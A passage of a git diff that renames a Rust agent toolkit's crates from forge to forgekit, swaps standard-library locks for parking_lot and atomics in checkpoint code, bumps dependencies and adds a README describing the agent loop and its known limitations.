+cd /home/feanor/Projects/forge/forgekit-reasoning cargo test --test websocket_tests # Individual tests diff --git a/forge-reasoning/docs/TDD_WAVE_07.md b/forgekit-reasoning/docs/TDD_WAVE_07.md similarity index 99% rename from forge-reasoning/docs/TDD_WAVE_07.md rename to forgekit-reasoning/docs/TDD_WAVE_07.md index c5e617d..509ce88 100644 --- a/forge-reasoning/docs/TDD_WAVE_07.md +++ b/forgekit-reasoning/docs/TDD_WAVE_07.md @@ -166,7 +166,7 @@ bench_storage_backends ## Running Benchmarks ```bash -cd /home/feanor/Projects/forge/forge-reasoning +cd /home/feanor/Projects/forge/forgekit-reasoning # Run all benchmarks cargo bench diff --git a/forge-reasoning/docs/TDD_WAVE_08.md b/forgekit-reasoning/docs/TDD_WAVE_08.md similarity index 100% rename from forge-reasoning/docs/TDD_WAVE_08.md rename to forgekit-reasoning/docs/TDD_WAVE_08.md diff --git a/forge-reasoning/docs/TDD_WAVE_09.md b/forgekit-reasoning/docs/TDD_WAVE_09.md similarity index 100% rename from forge-reasoning/docs/TDD_WAVE_09.md rename to forgekit-reasoning/docs/TDD_WAVE_09.md diff --git a/forge-reasoning/docs/TDD_WAVE_10.md b/forgekit-reasoning/docs/TDD_WAVE_10.md similarity index 100% rename from forge-reasoning/docs/TDD_WAVE_10.md rename to forgekit-reasoning/docs/TDD_WAVE_10.md diff --git a/forge-reasoning/src/belief/graph.rs b/forgekit-reasoning/src/belief/graph.rs similarity index 100% rename from forge-reasoning/src/belief/graph.rs rename to forgekit-reasoning/src/belief/graph.rs diff --git a/forge-reasoning/src/belief/mod.rs b/forgekit-reasoning/src/belief/mod.rs similarity index 100% rename from forge-reasoning/src/belief/mod.rs rename to forgekit-reasoning/src/belief/mod.rs diff --git a/forge-reasoning/src/checkpoint.rs b/forgekit-reasoning/src/checkpoint.rs similarity index 100% rename from forge-reasoning/src/checkpoint.rs rename to forgekit-reasoning/src/checkpoint.rs diff --git a/forge-reasoning/src/errors.rs b/forgekit-reasoning/src/errors.rs similarity index 100% rename from forge-reasoning/src/errors.rs rename to forgekit-reasoning/src/errors.rs diff --git a/forge-reasoning/src/export_import.rs b/forgekit-reasoning/src/export_import.rs similarity index 100% rename from forge-reasoning/src/export_import.rs rename to forgekit-reasoning/src/export_import.rs diff --git a/forge-reasoning/src/gaps/analyzer.rs b/forgekit-reasoning/src/gaps/analyzer.rs similarity index 100% rename from forge-reasoning/src/gaps/analyzer.rs rename to forgekit-reasoning/src/gaps/analyzer.rs diff --git a/forge-reasoning/src/gaps/mod.rs b/forgekit-reasoning/src/gaps/mod.rs similarity index 100% rename from forge-reasoning/src/gaps/mod.rs rename to forgekit-reasoning/src/gaps/mod.rs diff --git a/forge-reasoning/src/gaps/scoring.rs b/forgekit-reasoning/src/gaps/scoring.rs similarity index 100% rename from forge-reasoning/src/gaps/scoring.rs rename to forgekit-reasoning/src/gaps/scoring.rs diff --git a/forge-reasoning/src/gaps/suggestions.rs b/forgekit-reasoning/src/gaps/suggestions.rs similarity index 100% rename from forge-reasoning/src/gaps/suggestions.rs rename to forgekit-reasoning/src/gaps/suggestions.rs diff --git a/forge-reasoning/src/hypothesis/confidence.rs b/forgekit-reasoning/src/hypothesis/confidence.rs similarity index 100% rename from forge-reasoning/src/hypothesis/confidence.rs rename to forgekit-reasoning/src/hypothesis/confidence.rs diff --git a/forge-reasoning/src/hypothesis/evidence.rs b/forgekit-reasoning/src/hypothesis/evidence.rs similarity index 100% rename from forge-reasoning/src/hypothesis/evidence.rs rename to forgekit-reasoning/src/hypothesis/evidence.rs diff --git a/forge-reasoning/src/hypothesis/mod.rs b/forgekit-reasoning/src/hypothesis/mod.rs similarity index 100% rename from forge-reasoning/src/hypothesis/mod.rs rename to forgekit-reasoning/src/hypothesis/mod.rs diff --git a/forge-reasoning/src/hypothesis/storage.rs b/forgekit-reasoning/src/hypothesis/storage.rs similarity index 100% rename from forge-reasoning/src/hypothesis/storage.rs rename to forgekit-reasoning/src/hypothesis/storage.rs diff --git a/forge-reasoning/src/hypothesis/types.rs b/forgekit-reasoning/src/hypothesis/types.rs similarity index 100% rename from forge-reasoning/src/hypothesis/types.rs rename to forgekit-reasoning/src/hypothesis/types.rs diff --git a/forge-reasoning/src/impact/mod.rs b/forgekit-reasoning/src/impact/mod.rs similarity index 100% rename from forge-reasoning/src/impact/mod.rs rename to forgekit-reasoning/src/impact/mod.rs diff --git a/forge-reasoning/src/impact/preview.rs b/forgekit-reasoning/src/impact/preview.rs similarity index 100% rename from forge-reasoning/src/impact/preview.rs rename to forgekit-reasoning/src/impact/preview.rs diff --git a/forge-reasoning/src/impact/propagation.rs b/forgekit-reasoning/src/impact/propagation.rs similarity index 100% rename from forge-reasoning/src/impact/propagation.rs rename to forgekit-reasoning/src/impact/propagation.rs diff --git a/forge-reasoning/src/impact/snapshot.rs b/forgekit-reasoning/src/impact/snapshot.rs similarity index 100% rename from forge-reasoning/src/impact/snapshot.rs rename to forgekit-reasoning/src/impact/snapshot.rs diff --git a/forge-reasoning/src/lib.rs b/forgekit-reasoning/src/lib.rs similarity index 100% rename from forge-reasoning/src/lib.rs rename to forgekit-reasoning/src/lib.rs diff --git a/forge-reasoning/src/service.rs b/forgekit-reasoning/src/service.rs similarity index 96% rename from forge-reasoning/src/service.rs rename to forgekit-reasoning/src/service.rs index 763c866..ac53b20 100644 --- a/forge-reasoning/src/service.rs +++ b/forgekit-reasoning/src/service.rs @@ -2,9 +2,9 @@ //! //! Provides high-level API for Forge agent integration +use parking_lot::{Mutex, RwLock}; use std::collections::HashMap; use std::sync::atomic::{AtomicU64, Ordering}; -use std::sync::{Mutex, RwLock}; use chrono::Utc; @@ -184,12 +184,12 @@ impl CheckpointService { /// Check if service is running pub fn is_running(&self) -> bool { - *self.running.read().unwrap() + *self.running.read() } /// Stop the service pub fn stop(&self) { - *self.running.write().unwrap() = false; + *self.running.write() = false; } /// Create a new session @@ -197,7 +197,7 @@ impl CheckpointService { let session_id = SessionId::new(); let info = SessionInfo { auto_config: None }; - self.sessions.write().unwrap().insert(session_id, info); + self.sessions.write().insert(session_id, info); Ok(session_id) } @@ -265,7 +265,7 @@ impl CheckpointService { session_id: &SessionId, config: AutoCheckpointConfig, ) -> Result<()> { - let mut sessions = self.sessions.write().unwrap(); + let mut sessions = self.sessions.write(); if let Some(info) = sessions.get_mut(session_id) { info.auto_config = Some(config); Ok(()) @@ -305,7 +305,7 @@ impl CheckpointService { ) -> Result> { let (tx, rx) = tokio::sync::mpsc::channel(100); // Buffer up to 100 events - let mut subscribers = self.subscribers.lock().unwrap(); + let mut subscribers = self.subscribers.lock(); subscribers.entry(*session_id).or_default().push(tx); Ok(rx) @@ -320,7 +320,7 @@ impl CheckpointService { CheckpointEvent::Compacted { session_id, .. } => *session_id, }; - let subscribers = self.subscribers.lock().unwrap(); + let subscribers = self.subscribers.lock(); if let Some(subs) = subscribers.get(&session_id) { for tx in subs { // Best-effort delivery (try_send is non-blocking) @@ -372,7 +372,7 @@ impl CheckpointService { } CheckpointCommand::Delete { checkpoint_id } => { // Delete from all sessions (simplified) - let sessions = self.sessions.read().unwrap(); + let sessions = self.sessions.read(); for session_id in sessions.keys() { let manager = self.get_manager(*session_id); let _ = manager.delete(&checkpoint_id); @@ -416,7 +416,7 @@ impl CheckpointService { annotation: CheckpointAnnotation, ) -> Result<()> { // Verify checkpoint exists - let sessions = self.sessions.read().unwrap(); + let sessions = self.sessions.read(); let mut found = false; for session_id in sessions.keys() { let manager = self.get_manager(*session_id); @@ -434,7 +434,7 @@ impl CheckpointService { } // Store annotation - let mut annotations = self.annotations.write().unwrap(); + let mut annotations = self.annotations.write(); annotations .entry(*checkpoint_id) .or_default() @@ -448,8 +448,8 @@ impl CheckpointService { &self, checkpoint_id: &CheckpointId, ) -> Result { - let sessions = self.sessions.read().unwrap(); - let annotations = self.annotations.read().unwrap(); + let sessions = self.sessions.read(); + let annotations = self.annotations.read(); for session_id in sessions.keys() { let manager = self.get_manager(*session_id); @@ -471,7 +471,7 @@ impl CheckpointService { /// Get service metrics pub fn metrics(&self) -> Result { - let sessions = self.sessions.read().unwrap(); + let sessions = self.sessions.read(); let total_checkpoints: usize = sessions .keys() .map(|session_id| { @@ -518,7 +518,7 @@ impl CheckpointService { start_seq: u64, end_seq: u64, ) -> Result> { - let sessions = self.sessions.read().unwrap(); + let sessions = self.sessions.read(); let mut all_checkpoints = Vec::new(); for session_id in sessions.keys() { @@ -541,7 +541,7 @@ impl CheckpointService { /// Returns a JSON-serializable export containing all checkpoints /// and the current global sequence number. pub fn export_all_checkpoints(&self) -> Result { - let sessions = self.sessions.read().unwrap(); + let sessions = self.sessions.read(); let mut all_checkpoints: Vec = Vec::new(); for session_id in sessions.keys() { @@ -638,7 +638,7 @@ impl CheckpointService { } // Validate recent checkpoints from all sessions - let sessions = self.sessions.read().unwrap(); + let sessions = self.sessions.read(); let mut checked = 0; let mut invalid = 0; @@ -681,7 +681,7 @@ impl CheckpointService { /// Performs a full validation of all checkpoints in the system. /// Returns a report with validation statistics. pub fn validate_all_checkpoints(&self) -> Result { - let sessions = self.sessions.read().unwrap(); + let sessions = self.sessions.read(); let mut valid = 0; let mut invalid = 0; let mut skipped = 0; @@ -722,7 +722,7 @@ impl CheckpointService { checkpoint_id: CheckpointId, ) -> Result> { // Search for the checkpoint across all sessions - let sessions = self.sessions.read().unwrap(); + let sessions = self.sessions.read(); for session_id in sessions.keys() { let manager = self.get_manager(*session_id); if let Some(checkpoint) = manager.get(&checkpoint_id)? { diff --git a/forge-reasoning/src/storage.rs b/forgekit-reasoning/src/storage.rs similarity index 99% rename from forge-reasoning/src/storage.rs rename to forgekit-reasoning/src/storage.rs index 8436815..1b84b55 100644 --- a/forge-reasoning/src/storage.rs +++ b/forgekit-reasoning/src/storage.rs @@ -75,7 +75,7 @@ pub enum BackendKind { /// /// ```no_run /// # fn main() -> Result<(), Box> { -/// use forge_reasoning::{StorageConfig, create_storage}; +/// use forgekit_reasoning::{StorageConfig, create_storage}; /// /// let config = StorageConfig::sqlite("/tmp/checkpoints.db"); /// let _storage = create_storage(&config)?; diff --git a/forge-reasoning/src/storage_sqlitegraph.rs b/forgekit-reasoning/src/storage_sqlitegraph.rs similarity index 100% rename from forge-reasoning/src/storage_sqlitegraph.rs rename to forgekit-reasoning/src/storage_sqlitegraph.rs diff --git a/forge-reasoning/src/thread_safe.rs b/forgekit-reasoning/src/thread_safe.rs similarity index 86% rename from forge-reasoning/src/thread_safe.rs rename to forgekit-reasoning/src/thread_safe.rs index 9b0180d..42be504 100644 --- a/forge-reasoning/src/thread_safe.rs +++ b/forgekit-reasoning/src/thread_safe.rs @@ -4,9 +4,11 @@ //! to enable multi-threaded checkpoint operations. use std::path::Path; -use std::sync::{Arc, Mutex}; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::sync::Arc; use chrono::Utc; +use parking_lot::Mutex; use crate::checkpoint::{ CheckpointId, CheckpointSummary, CompactionPolicy, DebugStateSnapshot, SessionId, @@ -43,43 +45,43 @@ impl ThreadSafeStorage { /// Store a checkpoint pub fn store(&self, checkpoint: &TemporalCheckpoint) -> Result<()> { - let storage = self.inner.lock().expect("Storage lock poisoned"); + let storage = self.inner.lock(); storage.store(checkpoint) } /// Get checkpoint by ID pub fn get(&self, id: CheckpointId) -> Result { - let storage = self.inner.lock().expect("Storage lock poisoned"); + let storage = self.inner.lock(); storage.get(id) } /// Get latest checkpoint for session pub fn get_latest(&self, session_id: SessionId) -> Result> { - let storage = self.inner.lock().expect("Storage lock poisoned"); + let storage = self.inner.lock(); storage.get_latest(session_id) } /// List checkpoints by session pub fn list_by_session(&self, session_id: SessionId) -> Result> { - let storage = self.inner.lock().expect("Storage lock poisoned"); + let storage = self.inner.lock(); storage.list_by_session(session_id) } /// List checkpoints by tag pub fn list_by_tag(&self, tag: &str) -> Result> { - let storage = self.inner.lock().expect("Storage lock poisoned"); + let storage = self.inner.lock(); storage.list_by_tag(tag) } /// Delete checkpoint pub fn delete(&self, id: CheckpointId) -> Result<()> { - let storage = self.inner.lock().expect("Storage lock poisoned"); + let storage = self.inner.lock(); storage.delete(id) } /// Get maximum sequence number across all checkpoints pub fn get_max_sequence(&self) -> Result { - let storage = self.inner.lock().expect("Storage lock poisoned"); + let storage = self.inner.lock(); storage.get_max_sequence() } } @@ -102,7 +104,7 @@ unsafe impl Sync for ThreadSafeStorage {} pub struct ThreadSafeCheckpointManager { storage: ThreadSafeStorage, session_id: SessionId, - sequence_counter: Mutex, + sequence_counter: AtomicU64, last_checkpoint_time: Mutex>, } @@ -112,18 +114,14 @@ impl ThreadSafeCheckpointManager { Self { storage, session_id, - sequence_counter: Mutex::new(0), + sequence_counter: AtomicU64::new(0), last_checkpoint_time: Mutex::new(Utc::now()), } } /// Create a manual checkpoint with auto-generated sequence pub fn checkpoint(&self, message: impl Into) -> Result { - let seq = { - let mut counter = self.sequence_counter.lock().expect("Counter poisoned"); - *counter += 1; - *counter - }; + let seq = self.sequence_counter.fetch_add(1, Ordering::Relaxed) + 1; self.checkpoint_with_sequence(message, seq) } @@ -147,8 +145,7 @@ impl ThreadSafeCheckpointManager { self.update_last_checkpoint_time(); // Update local counter to track sequences - let mut counter = self.sequence_counter.lock().expect("Counter poisoned"); - *counter = (*counter).max(sequence); + self.sequence_counter.fetch_max(sequence, Ordering::Relaxed); Ok(checkpoint.id) } @@ -159,11 +156,7 @@ impl ThreadSafeCheckpointManager { message: impl Into, tags: Vec, ) -> Result { - let seq = { - let mut counter = self.sequence_counter.lock().expect("Counter poisoned"); - *counter += 1; - *counter - }; + let seq = self.sequence_counter.fetch_add(1, Ordering::Relaxed) + 1; self.checkpoint_with_tags_and_sequence(message, tags, seq) } @@ -189,8 +182,7 @@ impl ThreadSafeCheckpointManager { self.update_last_checkpoint_time(); // Update local counter to track sequences - let mut counter = self.sequence_counter.lock().expect("Counter poisoned"); - *counter = (*counter).max(sequence); + self.sequence_counter.fetch_max(sequence, Ordering::Relaxed); Ok(checkpoint.id) } @@ -202,10 +194,7 @@ impl ThreadSafeCheckpointManager { ) -> Result> { let should_checkpoint = match trigger { crate::checkpoint::AutoTrigger::SignificantTimePassed => { - let last = *self - .last_checkpoint_time - .lock() - .expect("Time lock poisoned"); + let last = *self.last_checkpoint_time.lock(); Utc::now().signed_duration_since(last).num_minutes() > 5 } _ => true, @@ -215,11 +204,7 @@ impl ThreadSafeCheckpointManager { return Ok(None); } - let seq = { - let mut counter = self.sequence_counter.lock().expect("Counter poisoned"); - *counter += 1; - *counter - }; + let seq = self.sequence_counter.fetch_add(1, Ordering::Relaxed) + 1; self.auto_checkpoint_with_sequence(trigger, seq) } @@ -244,8 +229,7 @@ impl ThreadSafeCheckpointManager { self.update_last_checkpoint_time(); // Update local counter to track sequences - let mut counter = self.sequence_counter.lock().expect("Counter poisoned"); - *counter = (*counter).max(sequence); + self.sequence_counter.fetch_max(sequence, Ordering::Relaxed); Ok(Some(checkpoint.id)) } @@ -372,10 +356,7 @@ impl ThreadSafeCheckpointManager { } fn update_last_checkpoint_time(&self) { - *self - .last_checkpoint_time - .lock() - .expect("Time lock poisoned") = Utc::now(); + *self.last_checkpoint_time.lock() = Utc::now(); } } diff --git a/forge-reasoning/src/verification/check.rs b/forgekit-reasoning/src/verification/check.rs similarity index 100% rename from forge-reasoning/src/verification/check.rs rename to forgekit-reasoning/src/verification/check.rs diff --git a/forge-reasoning/src/verification/mod.rs b/forgekit-reasoning/src/verification/mod.rs similarity index 100% rename from forge-reasoning/src/verification/mod.rs rename to forgekit-reasoning/src/verification/mod.rs diff --git a/forge-reasoning/src/verification/retry.rs b/forgekit-reasoning/src/verification/retry.rs similarity index 100% rename from forge-reasoning/src/verification/retry.rs rename to forgekit-reasoning/src/verification/retry.rs diff --git a/forge-reasoning/src/verification/runner.rs b/forgekit-reasoning/src/verification/runner.rs similarity index 100% rename from forge-reasoning/src/verification/runner.rs rename to forgekit-reasoning/src/verification/runner.rs diff --git a/forge-reasoning/src/websocket.rs b/forgekit-reasoning/src/websocket.rs similarity index 100% rename from forge-reasoning/src/websocket.rs rename to forgekit-reasoning/src/websocket.rs diff --git a/forge-reasoning/tests/checkpoint_tests.rs b/forgekit-reasoning/tests/checkpoint_tests.rs similarity index 99% rename from forge-reasoning/tests/checkpoint_tests.rs rename to forgekit-reasoning/tests/checkpoint_tests.rs index f714c25..773a30e 100644 --- a/forge-reasoning/tests/checkpoint_tests.rs +++ b/forgekit-reasoning/tests/checkpoint_tests.rs @@ -3,7 +3,7 @@ //! Tests drive the implementation. Run with: cargo test use chrono::Utc; -use forge_reasoning::*; +use forgekit_reasoning::*; use std::collections::HashMap; use std::rc::Rc; diff --git a/forge-reasoning/tests/data_integrity_tests.rs b/forgekit-reasoning/tests/data_integrity_tests.rs similarity index 99% rename from forge-reasoning/tests/data_integrity_tests.rs rename to forgekit-reasoning/tests/data_integrity_tests.rs index 06f98dd..fc43d9b 100644 --- a/forge-reasoning/tests/data_integrity_tests.rs +++ b/forgekit-reasoning/tests/data_integrity_tests.rs @@ -2,7 +2,7 @@ //! //! Tests for checksum verification, corruption detection, and data validation. -use forge_reasoning::*; +use forgekit_reasoning::*; use std::sync::Arc; /// Test 78: Checkpoints include checksum on creation diff --git a/forge-reasoning/tests/e2e/e2e_checkpoint_workflow.rs b/forgekit-reasoning/tests/e2e/e2e_checkpoint_workflow.rs similarity index 99% rename from forge-reasoning/tests/e2e/e2e_checkpoint_workflow.rs rename to forgekit-reasoning/tests/e2e/e2e_checkpoint_workflow.rs index e599686..999785a 100644 --- a/forge-reasoning/tests/e2e/e2e_checkpoint_workflow.rs +++ b/forgekit-reasoning/tests/e2e/e2e_checkpoint_workflow.rs @@ -2,7 +2,7 @@ //! //! Simulates a user performing a debugging session with checkpoints. -use forge_reasoning::*; +use forgekit_reasoning::*; use std::sync::Arc; /// E2E Test 1: Complete debugging workflow with checkpoints diff --git a/forge-reasoning/tests/e2e/e2e_data_integrity.rs b/forgekit-reasoning/tests/e2e/e2e_data_integrity.rs similarity index 99% rename from forge-reasoning/tests/e2e/e2e_data_integrity.rs rename to forgekit-reasoning/tests/e2e/e2e_data_integrity.rs index 13478d3..0fcf207 100644 --- a/forge-reasoning/tests/e2e/e2e_data_integrity.rs +++ b/forgekit-reasoning/tests/e2e/e2e_data_integrity.rs @@ -2,7 +2,7 @@ //! //! Tests for checksum validation, corruption detection, and recovery. -use forge_reasoning::*; +use forgekit_reasoning::*; use std::sync::Arc; /// E2E Test 7: Full validation workflow diff --git a/forge-reasoning/tests/e2e/e2e_recovery_scenarios.rs b/forgekit-reasoning/tests/e2e/e2e_recovery_scenarios.rs similarity index 99% rename from forge-reasoning/tests/e2e/e2e_recovery_scenarios.rs rename to forgekit-reasoning/tests/e2e/e2e_recovery_scenarios.rs index 34ee002..67c7cd6 100644 --- a/forge-reasoning/tests/e2e/e2e_recovery_scenarios.rs +++ b/forgekit-reasoning/tests/e2e/e2e_recovery_scenarios.rs @@ -2,7 +2,7 @@ //! //! Tests for handling failures, restarts, and edge cases. -use forge_reasoning::*; +use forgekit_reasoning::*; use std::sync::Arc; use tempfile::tempdir; diff --git a/forge-reasoning/tests/e2e/e2e_session_management.rs b/forgekit-reasoning/tests/e2e/e2e_session_management.rs similarity index 99% rename from forge-reasoning/tests/e2e/e2e_session_management.rs rename to forgekit-reasoning/tests/e2e/e2e_session_management.rs index 08af971..f031d95 100644 --- a/forge-reasoning/tests/e2e/e2e_session_management.rs +++ b/forgekit-reasoning/tests/e2e/e2e_session_management.rs @@ -2,7 +2,7 @@ //! //! Tests for creating, managing, and switching between debugging sessions. -use forge_reasoning::*; +use forgekit_reasoning::*; use std::sync::Arc; /// E2E Test 4: Session lifecycle - create, use, and retire diff --git a/forge-reasoning/tests/e2e/e2e_websocket_workflow.rs b/forgekit-reasoning/tests/e2e/e2e_websocket_workflow.rs similarity index 99% rename from forge-reasoning/tests/e2e/e2e_websocket_workflow.rs rename to forgekit-reasoning/tests/e2e/e2e_websocket_workflow.rs index 10c2caa..3f8fe48 100644 --- a/forge-reasoning/tests/e2e/e2e_websocket_workflow.rs +++ b/forgekit-reasoning/tests/e2e/e2e_websocket_workflow.rs @@ -2,7 +2,7 @@ //! //! Tests for real-time remote access and event broadcasting. -use forge_reasoning::*; +use forgekit_reasoning::*; use futures_util::{SinkExt, StreamExt}; use std::sync::Arc; use std::time::Duration; diff --git a/forge-reasoning/tests/e2e/mod.rs b/forgekit-reasoning/tests/e2e/mod.rs similarity index 100% rename from forge-reasoning/tests/e2e/mod.rs rename to forgekit-reasoning/tests/e2e/mod.rs diff --git a/forge-reasoning/tests/e2e_tests.rs b/forgekit-reasoning/tests/e2e_tests.rs similarity index 100% rename from forge-reasoning/tests/e2e_tests.rs rename to forgekit-reasoning/tests/e2e_tests.rs diff --git a/forge-reasoning/tests/global_sequence_tests.rs b/forgekit-reasoning/tests/global_sequence_tests.rs similarity index 99% rename from forge-reasoning/tests/global_sequence_tests.rs rename to forgekit-reasoning/tests/global_sequence_tests.rs index 7fd547f..9ce2077 100644 --- a/forge-reasoning/tests/global_sequence_tests.rs +++ b/forgekit-reasoning/tests/global_sequence_tests.rs @@ -2,7 +2,7 @@ //! //! Tests for globally monotonic checkpoint sequences across all sessions. -use forge_reasoning::*; +use forgekit_reasoning::*; use std::sync::Arc; /// Test 68: Global sequence starts at 1 diff --git a/forge-reasoning/tests/integration_tests.rs b/forgekit-reasoning/tests/integration_tests.rs similarity index 99% rename from forge-reasoning/tests/integration_tests.rs rename to forgekit-reasoning/tests/integration_tests.rs index 4711f95..f483302 100644 --- a/forge-reasoning/tests/integration_tests.rs +++ b/forgekit-reasoning/tests/integration_tests.rs @@ -5,7 +5,7 @@ use std::sync::Arc; use std::time::Duration; -use forge_reasoning::*; +use forgekit_reasoning::*; /// Test 41: CheckpointService can be created and used #[test] diff --git a/forge-reasoning/tests/thread_safety_tests.rs b/forgekit-reasoning/tests/thread_safety_tests.rs similarity index 99% rename from forge-reasoning/tests/thread_safety_tests.rs rename to forgekit-reasoning/tests/thread_safety_tests.rs index d68fa86..e1aea6d 100644 --- a/forge-reasoning/tests/thread_safety_tests.rs +++ b/forgekit-reasoning/tests/thread_safety_tests.rs @@ -4,7 +4,7 @@ use std::thread; -use forge_reasoning::*; +use forgekit_reasoning::*; /// Test 31: Thread-safe storage can be shared between threads #[test] diff --git a/forge-reasoning/tests/websocket_tests.rs b/forgekit-reasoning/tests/websocket_tests.rs similarity index 99% rename from forge-reasoning/tests/websocket_tests.rs rename to forgekit-reasoning/tests/websocket_tests.rs index 834296c..21932c1 100644 --- a/forge-reasoning/tests/websocket_tests.rs +++ b/forgekit-reasoning/tests/websocket_tests.rs @@ -4,7 +4,7 @@ use std::time::Duration; -use forge_reasoning::*; +use forgekit_reasoning::*; use futures_util::{SinkExt, StreamExt}; use std::sync::Arc; use tokio::time::timeout; diff --git a/forge_agent/Cargo.toml b/forgekit_agent/Cargo.toml similarity index 60% rename from forge_agent/Cargo.toml rename to forgekit_agent/Cargo.toml index 9852c21..1d5f782 100644 --- a/forge_agent/Cargo.toml +++ b/forgekit_agent/Cargo.toml @@ -1,25 +1,25 @@ [package] -name = "forge-agent" -version = "0.4.0" +name = "forgekit-agent" +version = "0.5.0" edition = "2021" -license = "GPL-3.0-or-later" +license = "GPL-3.0-only" repository = "https://github.com/oldnordic/forge" readme = "README.md" description = "ForgeKit agent layer - Workflow orchestration and AI loop" [lib] -name = "forge_agent" +name = "forgekit_agent" path = "src/lib.rs" [[bin]] -name = "forge-agent" +name = "forgekit-agent" path = "src/cli.rs" [features] default = ["sqlite"] -# Storage backends (inherited from forge_core) -sqlite = ["dep:sqlitegraph", "sqlitegraph/sqlite-backend", "forge-core/sqlite"] +# Storage backends (inherited from forgekit_core) +sqlite = ["dep:sqlitegraph", "sqlitegraph/sqlite-backend", "forgekit-core/sqlite"] full = ["sqlite"] # LLM providers @@ -29,20 +29,23 @@ llm-anthropic = ["dep:reqwest"] llm = ["llm-ollama"] # Multi-agent coordination -envoy = ["dep:reqwest"] +envoy = ["dep:reqwest", "dep:envoy"] + +# Atheneum knowledge graph (direct crate access) +atheneum = ["dep:atheneum"] [dependencies] -forge-core = { version = "0.3.0", path = "../forge_core", default-features = false } -forge-reasoning = { version = "0.1.2", path = "../forge-reasoning" } -forge-runtime = { version = "0.1", path = "../forge_runtime" } -sqlitegraph = { version = "3.0.7", default-features = false, optional = true } +forgekit-core = { version = "0.5.0", path = "../forgekit_core", default-features = false } +forgekit-reasoning = { version = "0.5.0", path = "../forgekit-reasoning" } +forgekit-runtime = { version = "0.5", path = "../forgekit_runtime" } +sqlitegraph = { version = "3.2.5", default-features = false, optional = true } tokio = { version = "1", features = ["full"] } anyhow = "1" serde = { version = "1", features = ["derive"] } serde_json = "1" serde_yaml = "0.9" toml = "0.8" -thiserror = "1" +thiserror = "2.0" chrono = { version = "0.4", features = ["clock", "serde"], default-features = false } uuid = { version = "1.0", features = ["v4", "v7", "serde"] } async-trait = "0.1" @@ -52,7 +55,10 @@ clap = { version = "4", features = ["derive"] } futures = "0.3" tracing = "0.1" regex = "1" +parking_lot = "0.12" reqwest = { version = "0.12", features = ["json", "stream"], optional = true } +atheneum = { version = "0.5", optional = true } +envoy = { version = "0.2", package = "agent-envoy", optional = true } [dev-dependencies] tokio = { version = "1", features = ["test-util", "macros"] } diff --git a/forgekit_agent/README.md b/forgekit_agent/README.md new file mode 100644 index 0000000..8f7990c --- /dev/null +++ b/forgekit_agent/README.md @@ -0,0 +1,99 @@ +# forgekit-agent + +[![Crates.io](https://img.shields.io/crates/v/forgekit-agent)](https://crates.io/crates/forgekit-agent) +[![Documentation](https://docs.rs/forgekit-agent/badge.svg)](https://docs.rs/forgekit-agent) +[![License: GPL-3.0](https://img.shields.io/badge/License-GPL%203.0-blue.svg)](https://opensource.org/licenses/GPL-3.0) + +**Status: alpha β€” work in progress. APIs may change until v1.0.** + +The agent layer for ForgeKit. Provides a deterministic 6-phase code-mutation +loop (observe β†’ constrain β†’ plan β†’ mutate β†’ verify β†’ commit), an LLM-driven +ReAct tool-calling loop, a workflow DAG engine with rollback, and multi-agent +coordination via Envoy. + +> **Alpha notice:** the deterministic loop is implemented and tested end-to-end +> (proven on real crates: symbol rename, dead-code removal). The ReAct loop and +> workflow engine are functional but less battle-tested. See **Known +> Limitations** below for what is unsafe or unfinished. + +## What this crate provides + +- **Deterministic 6-phase loop** β€” `Agent::run()`: observes the code graph, + constrains the symbol set, plans discrete steps (create/modify/delete/rename), + mutates source, verifies via `cargo check` + `cargo test`, and commits with + evidence. No LLM needed for the planner core (regex fallback), but wiring an + LLM via `.forge.toml` produces far better plans. +- **ReAct agent** β€” `Agent::run_react()`: an autonomous reasoning-and-acting + loop where an LLM decides which tools to call (`file_read`, `file_write`, + `shell_exec`, `graph_query`). Requires a chat provider feature flag. +- **Workflow engine** β€” DAG-based task execution with dependency resolution, + parallel branches, checkpointing, compensation-based rollback, cancellation, + and timeouts. +- **Chat providers** β€” Ollama (`llm-ollama`), OpenAI (`llm-openai`), + Anthropic (`llm-anthropic`), all with tool-calling and streaming support. +- **Multi-agent coordination** β€” optional Envoy integration for agent + discovery, handoffs, and knowledge sharing via Atheneum (`envoy` feature). + +## Feature flags + +- `sqlite` (default) β€” SQLite backend via sqlitegraph +- `llm-ollama` β€” Ollama chat provider (gates `reqwest`) +- `llm-openai` β€” OpenAI chat provider (gates `reqwest`) +- `llm-anthropic` β€” Anthropic chat provider (gates `reqwest`) +- `envoy` β€” Multi-agent coordination via agent-envoy + +## Quick Start + +### Deterministic loop + +```rust +use forgekit_agent::Agent; + +let agent = Agent::new("./project").await?; +let result = agent.run("Add error handling to the parser").await?; +println!("Transaction: {}", result.transaction_id); +``` + +### ReAct agent (LLM-driven) + +```rust +use forgekit_agent::Agent; +use forgekit_agent::chat::{OllamaChatProvider, ChatProvider}; +use forgekit_agent::llm::LlmConfig; + +let provider = std::sync::Arc::new( + OllamaChatProvider::new("http://localhost:11434".to_string()) +); +let config = LlmConfig::new("qwen3.5-agent:latest".to_string()); + +let agent = Agent::new("./project").await? + .with_chat_provider(provider, config); + +let answer = agent.run_react("Find all callers of process_request and explain the call chain").await?; +println!("{}", answer); +``` + +## Known Limitations + +- **ShellExecTool is unsandboxed** β€” Executes arbitrary `sh -c` with full + process privileges. No allowlist, no capability restriction. Do not expose + to untrusted input. +- **LlmProviderAdapter cannot support tool calling** β€” The legacy + `LlmProvider` trait accepts only a flat prompt string. Use a native + `ChatProvider` for agent workflows. +- **Graph queries require a populated database** β€” If no magellan database + exists or the codebase hasn't been indexed, graph methods return empty + results. `Forge::open()` auto-indexes on first use when the graph is empty. + +## Relationship to other crates + +| Crate | Role | +|-------|------| +| `forgekit_core` | The SDK foundation: graph, search, CFG, edit, analysis | +| `forgekit_runtime` | Watching, incremental indexing, caching, metrics | +| **`forgekit_agent`** | **This crate: agent loop, ReAct, workflow engine, chat providers** | +| `forgekit-reasoning` | Temporal checkpointing for reasoning tools | + +## License + +GPL-3.0-only β€” see [LICENSE.md](../LICENSE.md). diff --git a/forge_agent/examples/debug_react.rs b/forgekit_agent/examples/debug_react.rs similarity index 91% rename from forge_agent/examples/debug_react.rs rename to forgekit_agent/examples/debug_react.rs index 03e8776..1ed5fbf 100644 --- a/forge_agent/examples/debug_react.rs +++ b/forgekit_agent/examples/debug_react.rs @@ -14,13 +14,13 @@ async fn main() { use std::sync::Arc; use async_trait::async_trait; - use forge_agent::chat::conversation::Conversation; - use forge_agent::chat::providers::ollama::OllamaChatProvider; - use forge_agent::chat::providers::ChatProvider; - use forge_agent::chat::tools::registry::{AsyncTool, 